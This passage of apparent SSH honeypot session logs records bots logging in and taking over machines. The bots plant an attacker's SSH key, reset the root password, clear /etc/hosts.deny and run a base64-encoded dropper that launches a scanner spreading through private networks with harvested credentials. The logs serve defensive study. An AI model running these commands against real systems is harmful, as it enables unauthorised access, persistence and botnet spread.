\"tuan123\\nVOjNm6vdadza\\nVOjNm6vdadza\\n\"|passwd"},{"seq":7,"at":"2026-08-23T08:13:38.933961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T08:13:38.934617+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T08:13:39.514615+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T08:13:40.260916+00:00","kind":"output","latency_ms":745,"data":" total used free shared buff/cache available\nMem: 15888 2410 11192 19 2285 13163"},{"seq":11,"at":"2026-08-23T08:13:40.842540+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T08:13:41.605466+00:00","kind":"output","latency_ms":762,"data":"-rwxr-xr-x 1 root root 1.1M Aug 20 03:10 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T08:13:42.187729+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T08:13:42.188169+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T08:13:42.770504+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T08:13:42.771107+00:00","kind":"output","latency_ms":null,"data":" 08:13:42 up 3 days, 5:03, 0 user, load average: 0.25, 0.31, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T08:13:43.352726+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T08:13:43.353261+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T08:13:43.934425+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T08:13:43.934709+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T08:13:44.516388+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T08:13:44.517216+00:00","kind":"output","latency_ms":null,"data":"top - 08:13:44 up 3 days, 5:03, 0 user, load average: 0.25, 0.31, 0.25\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T08:13:45.099232+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T08:13:45.099842+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T08:13:45.679841+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T08:13:45.680301+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T08:13:46.261855+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T08:13:46.262323+00:00","kind":"output","latency_ms":null,"data":"tuan"},{"seq":29,"at":"2026-08-23T08:13:46.842707+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T08:13:47.960211+00:00","kind":"output","latency_ms":1116,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T08:13:48.543020+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T08:13:49.024606+00:00","kind":"output","latency_ms":480,"data":"24G"},{"seq":33,"at":"2026-08-23T08:13:50.826794+00:00","kind":"input","latency_ms":null,"data":"echo \"tuan tuan123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T08:13:51.407768+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T08:13:52.023372+00:00","kind":"output","latency_ms":615,"data":""},{"seq":36,"at":"2026-08-23T08:13:53.468242+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T08:13:54.316081+00:00","kind":"output","latency_ms":847,"data":"89\n\n\n\n"},{"seq":38,"at":"2026-08-23T08:13:54.897849+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T08:13:55.322674+00:00","kind":"output","latency_ms":424,"data":"89"},{"seq":40,"at":"2026-08-23T08:13:55.907733+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T08:13:56.492677+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T08:13:57.098919+00:00","kind":"output","latency_ms":605,"data":"89"},{"seq":43,"at":"2026-08-23T08:13:57.680588+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T08:13:58.356230+00:00","kind":"output","latency_ms":674,"data":"89"},{"seq":45,"at":"2026-08-23T08:13:58.938580+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T08:13:59.377296+00:00","kind":"output","latency_ms":437,"data":""},{"seq":47,"at":"2026-08-23T08:14:07.773676+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T08:14:07.774444+00:00","kind":"output","latency_ms":null,"data":"tuan"}],"credentials":[{"username":"tuan","password":"tuan123","method":"password","accepted":true,"tier":"other"}]} {"id":"fbe487c2-e38d-4eca-b4f1-0815e77cb3af","name":"umber-coral-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"107.180.88.176","src_port":32976,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":235,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:17:08.121725+00:00","ended_at":"2026-08-23T06:17:08.182859+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3588,"events":[{"seq":1,"at":"2026-08-23T06:16:45.114788+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:16:45.350114+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:16:48.690222+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T06:16:48.690720+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T06:16:48.928875+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YvbvY6ifK4Pm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T06:16:49.166040+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T06:16:49.361709+00:00","kind":"output","latency_ms":432,"data":""},{"seq":8,"at":"2026-08-23T06:16:49.402562+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T06:16:49.403125+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T06:16:49.641836+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T06:16:50.141330+00:00","kind":"output","latency_ms":496,"data":" 15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-23T06:16:50.371649+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T06:16:50.907642+00:00","kind":"output","latency_ms":536,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T06:16:51.149754+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T06:16:51.150066+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T06:16:51.398559+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T06:16:51.399309+00:00","kind":"output","latency_ms":null,"data":" 06:16:51 up 3 days, 3:06, 0 user, load average: 0.15, 0.11, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T06:16:51.635881+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T06:16:51.636453+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T06:16:51.868720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T06:16:51.869156+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T06:16:52.101427+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T06:16:52.101876+00:00","kind":"output","latency_ms":null,"data":"top - 06:16:52 up 3 days, 3:06, 0 user, load average: 0.15, 0.11, 0.17\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T06:16:52.331464+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T06:16:52.332195+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T06:16:52.559561+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T06:16:52.560017+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T06:16:52.800736+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T06:16:52.801509+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T06:16:53.036093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T06:16:53.619839+00:00","kind":"output","latency_ms":582,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-23T06:16:53.857439+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T06:16:54.402966+00:00","kind":"output","latency_ms":544,"data":"24.0G"},{"seq":34,"at":"2026-08-23T06:16:55.285718+00:00","kind":"input","latency_ms":null,"data":"echo \"root #Admin123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T06:16:55.525605+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T06:16:55.947005+00:00","kind":"output","latency_ms":420,"data":""},{"seq":37,"at":"2026-08-23T06:16:56.304497+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T06:16:56.907903+00:00","kind":"output","latency_ms":601,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":39,"at":"2026-08-23T06:16:57.140538+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T06:16:57.603607+00:00","kind":"output","latency_ms":462,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":41,"at":"2026-08-23T06:16:57.839910+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T06:16:58.081588+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T06:16:58.630050+00:00","kind":"output","latency_ms":547,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":44,"at":"2026-08-23T06:16:58.861608+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T06:16:59.400649+00:00","kind":"output","latency_ms":534,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":46,"at":"2026-08-23T06:16:59.625655+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T06:17:00.116545+00:00","kind":"output","latency_ms":489,"data":""},{"seq":48,"at":"2026-08-23T06:17:08.122532+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T06:17:08.123721+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"#Admin123","method":"password","accepted":true,"tier":"other"}]} {"id":"70fe1f9e-b460-4fb0-8891-63a61305e666","name":"wistful-peaty-caribou","protocol":"ssh","channel_kind":"exec","src_ip":"136.232.11.10","src_port":43268,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":715,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:16:26.327703+00:00","ended_at":"2026-08-23T06:16:26.559283+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4025,"events":[{"seq":1,"at":"2026-08-23T06:15:27.296909+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:15:28.016652+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:15:28.580814+00:00","kind":"output","latency_ms":550,"data":""},{"seq":4,"at":"2026-08-23T06:15:33.819651+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-23T06:15:34.452999+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-23T06:15:35.170062+00:00","kind":"input","latency_ms":null,"data":"echo \"root:G8YT2A6uqGbG\"|chpasswd|bash"},{"seq":7,"at":"2026-08-23T06:15:35.870843+00:00","kind":"output","latency_ms":430,"data":""},{"seq":8,"at":"2026-08-23T06:15:35.882342+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-23T06:15:36.597115+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-23T06:15:37.429942+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-23T06:15:38.141567+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-23T06:15:39.224521+00:00","kind":"output","latency_ms":510,"data":"15888 3124 902 13176 228 4150"},{"seq":13,"at":"2026-08-23T06:15:39.940434+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-23T06:15:40.856507+00:00","kind":"output","latency_ms":622,"data":"-rwxr-xr-x 1 root root 147K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-23T06:15:41.570358+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T06:15:41.842745+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-23T06:15:42.558029+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-23T06:15:43.194202+00:00","kind":"output","latency_ms":null,"data":" 06:15:43 up 3 days, 3:05, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-23T06:15:43.910360+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-23T06:15:44.355134+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-23T06:15:45.071160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-23T06:15:45.826313+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-23T06:15:46.542998+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-23T06:15:47.135540+00:00","kind":"output","latency_ms":null,"data":"top - 06:15:47 up 3 days, 3:05, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-23T06:15:47.849915+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-23T06:15:48.618084+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-23T06:15:49.334924+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-23T06:15:50.225322+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-23T06:15:50.942396+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-23T06:15:51.248793+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-23T06:15:51.964667+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-23T06:15:53.511518+00:00","kind":"output","latency_ms":911,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":33,"at":"2026-08-23T06:15:54.227882+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-23T06:15:54.965948+00:00","kind":"output","latency_ms":411,"data":"24G"},{"seq":35,"at":"2026-08-23T06:16:03.423063+00:00","kind":"input","latency_ms":null,"data":"echo \"root Aa654321\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-23T06:16:04.136168+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-23T06:16:05.364455+00:00","kind":"output","latency_ms":628,"data":""},{"seq":38,"at":"2026-08-23T06:16:06.690081+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T06:16:08.157897+00:00","kind":"output","latency_ms":586,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T06:16:08.873561+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T06:16:09.693179+00:00","kind":"output","latency_ms":548,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-23T06:16:10.408911+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T06:16:11.122458+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T06:16:12.504023+00:00","kind":"output","latency_ms":608,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T06:16:13.218968+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-23T06:16:14.371174+00:00","kind":"output","latency_ms":823,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-23T06:16:15.087448+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-23T06:16:16.279846+00:00","kind":"output","latency_ms":557,"data":""},{"seq":49,"at":"2026-08-23T06:16:26.329012+00:00","kind":"input","latency_ms":null,"data":"whoami"}],"credentials":[{"username":"root","password":"Aa654321","method":"password","accepted":true,"tier":"other"}]} 